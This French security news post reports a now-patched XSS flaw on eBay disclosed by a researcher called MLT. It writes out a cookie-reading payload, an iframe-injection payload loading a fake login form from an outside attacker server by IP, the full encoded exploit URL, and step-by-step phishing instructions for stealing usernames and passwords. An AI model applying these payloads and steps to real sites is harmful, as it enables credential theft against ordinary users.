Une importante vulnérabilité XSS colmatée sur eBay

Par:
admin

mer, 13/01/2016 - 16:14

L'existence de cette vulnérabilité a été révélée dans un billet de blog écrit par un chercheur en sécurité qui signe du pseudo de MLT.

Cette vulnérabilité est étonnante à plus d'un titre. D'abord parce qu'elle existe sur un site comme eBay et que son exploit pouvait permettre d'obtenir des noms et des mots de passe d'utilisateurs très facilement. Ensuite parce que eBay aurait mis un mois pour la combler. Selon MLT, eBay, alerté par lui quant à l'existence de cette vulnérabilité, a demandé immédiatement des explications complémentaires à son sujet. Mais une fois ces informations envoyées : rien. Plus de communication, pas de correctif. Ce n'est qu'un mois plus tard que la vulnérabilité a été corrigée, et, toujours selon MLT, uniquement parce que les media ont eu vent de l'affaire.

Enfin, elle est étonnante par son caractère. Il s'agit d'une faille en Cross Site Scripting (XSS). Mais alors que normalement, un site filtre les données fournies dans un formulaire pour éviter l'injection de code via des balises HTML, l'URL vulnérable elle, exécutait du code JavaScript fourni sans aucune précaution semble-t-il.

Exemple :

http:  //ebay.com/link/?nav=webview&url=javascript:alert(document.cookie)

affichait le cookie du document en cours

Partant de là, eBay devient un terrain de jeu pour hackers qui veulent se faire la main en XSS :-) Exploiter cette vulnérabilité est très simple, à la portée de tous.

- Tout d'abord on créé un faux site qui ressemble à eBay. Ce faux site contient un lien de connexion, qui envoie sur le vrai site eBay, mais pas sur la vraie page de connexion :-) Au lieu de cela, le lien envoie sur la page vulnérable, avec, en paramètre dans l'URL, le code JavaScript à exécuter. MLT donne comme exemple un code qui injecte dans le DOM un iframe dont la source est un formulaire hébergé sur son serveur, qui est donc le serveur du hacker attaquant dans l'exemple:

document.write(‘<iframe src=”http:  //45.55.162.179/ebay/signin.ebay.com/ws/eBayISAPI9f90.html&#8221; width=”1500″ height=”1000″>’)

L'URL complète et encodée est :

http:  //ebay.com/link/?nav=webview&url=javascript:document.write%28%27%3Ciframe%20
src=%22http://45.55.162.179/ebay/signin.ebay.com/ws/eBayISAPI9f90.html
%22%20width=%221500%22%20height=%221000%22%3E%27%29

- On envoie ensuite un mail de phishing à la victime pour l'inciter à se connecter sur eBay. Le mail contient un lien sur le faux site eBay.

- Lorsque la victime clique sur le faux lien de connexion dans le faux site, elle arrive sur la page vulnérable du vrai site eBay, qu'elle confond avec la vraie page de connexion, car l'iframe injecté est conçu pour occuper tout l'écran et faire descendre le vrai contenu aux antipodes :-)

- la victime saisit son nom et son mot de passe. Le faux formulaire envoie les données ainsi volées sur le serveur de l'attaquant, qui n'a plus qu'à s'en servir...

La vidéo ci-dessous, proposée par MLT, illustre le mécanisme.